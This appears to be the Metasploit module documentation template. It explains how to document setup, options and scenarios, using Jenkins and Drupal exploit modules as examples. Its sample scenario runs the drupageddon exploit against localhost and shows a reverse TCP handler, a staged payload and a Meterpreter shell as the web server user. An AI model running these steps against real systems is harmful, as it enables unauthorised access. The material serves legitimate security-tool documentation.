Module Doc Template

The following is the recommended format for module documentation. But feel free to add more content/sections to this. One of the general ideas behind these documents is to help someone troubleshoot the module if it were to stop functioning in 5+ years, so giving links or specific examples can be VERY helpful.

Vulnerable Application

Instructions to get the vulnerable application. If applicable, include links to the vulnerable install files, as well as instructions on installing/configuring the environment if it is different than a standard install. Much of this will come from the PR, and can be copy/pasted.

For example, an exploit module targeting Jenkins might look like:

Jenkins can be downloaded from jenkins.io where binaries are available for a variety of operating systems. Both LTS and weekly builds are available.

Default settings have the script console enabled and require a valid user account in order to access it.

This exploit has been tested against the following Jenkins versions:

• 2.411
• 2.410
• 2.346.3

Or for a module that can be set up with Docker:

A vulnerable environment can be started with Docker:

Copy

docker run --interactive --tty --rm --publish 8080:8080 \
  --volume $(pwd)/config.xml:/app/config.xml \
  vulnerable/app:1.2.3

Or for a module targeting a downloadable application:

Drupal 7.31 official download

Verification Steps

Example steps in this format (is also in the PR):

1. Install the application
2. Start msfconsole
3. Do: use [module path]
4. Do: run
5. You should get a shell.

For example, an exploit module:

1. Install the application
2. Start msfconsole
3. Do: use exploit/multi/http/drupal_drupageddon
4. Do: set rhost [ip]
5. Do: run
6. You should get a shell.

Options

List each option and how to use it.

Option Name

Talk about what it does, and how to use it appropriately. If the default value is likely to change, include the default value here.

For example:

TARGETURI

The path to the target instance of the application. (Default: /)

USERNAME

A username for an account that has access to the admin console. This is only necessary if the application has been configured to require authentication.

ACTION

Set ACTION to either PUT or DELETE. (Default: PUT)

SESSION

Which session to use, which can be viewed with sessions -l.

Scenarios

Specific demo of using the module that might be useful in a real world scenario.

Version and OS

code or console output

For example: Exploit module against a specific target (e.g. Drupal 7.31 on Linux)

msf > use exploit/multi/http/drupal_drupageddon
msf exploit(drupal_drupageddon) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf exploit(drupal_drupageddon) > set verbose true
verbose => true
msf exploit(drupal_drupageddon) > exploit

[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Testing page
[*] Sending exploit...
[*] Sending stage (33721 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:45388) at 2016-08-25 11:30:41 -0400

meterpreter > sysinfo
Computer : drupal
OS : Linux drupal 2.6.32-642.3.1.el6.x86_64 #1 SMP x86_64
Meterpreter : php/linux

meterpreter > getuid
Server username: apache (48)